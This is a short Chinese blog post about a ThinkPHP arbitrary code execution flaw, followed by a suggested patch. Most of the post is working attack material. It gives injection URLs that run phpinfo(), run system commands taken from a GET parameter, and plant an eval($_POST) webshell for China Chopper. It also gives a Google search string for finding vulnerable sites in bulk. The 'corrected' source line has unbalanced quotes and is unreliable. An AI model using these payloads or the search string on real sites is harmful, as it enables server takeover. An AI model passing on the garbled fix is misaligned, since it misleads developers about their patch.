14 02 2016
thinkphp框架漏洞
thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
1
2
3
|
index.php/module/aciton/param1/${@ print (THINK_VERSION)} ? index.php/module/aciton/param1/${@function_all()} |
其中的function_all代表任何函数,比如:
1
|
index.php/module/aciton/param1/${@phpinfo()} |
@system( ls ) ? ? ?// 任意命令执行
就可以获取服务器的系统配置信息等。
1
|
index.php/module/action/param1/{${system( $_GET [ 'x' ])}}?x=ls -al |
可以列出网站文件列表
1
|
index.php/module/action/param1/{${ eval ( $_POST [s])}} |
就可以直接执行一句话代码,用菜刀直接连接.
这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
thinkphp框架执行任意代码漏洞修复方法:
用户可下载官方发布的补丁:
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
或者或者直接修改源码:
将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的
1
|
$res = preg_replace( '@(w+)' . $depr . '([^' . $depr . '\/]+)@e' , '$var[\'\\1\']="\\2";' , implode( $depr , $paths )); |
修改为:
1
|
$res = preg_replace( '@(w+)' . $depr . '([^' . $depr . '\/]+)@e' , '$var[\'\\1\']="\\2' ;', implode( $depr , $paths )); |
将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
三款免费实用的本地文件夹同步/备份软件推荐 (SyncToy/FreeFileSync/Compare Advance) 批处理命令findstr正则表达式的基本用法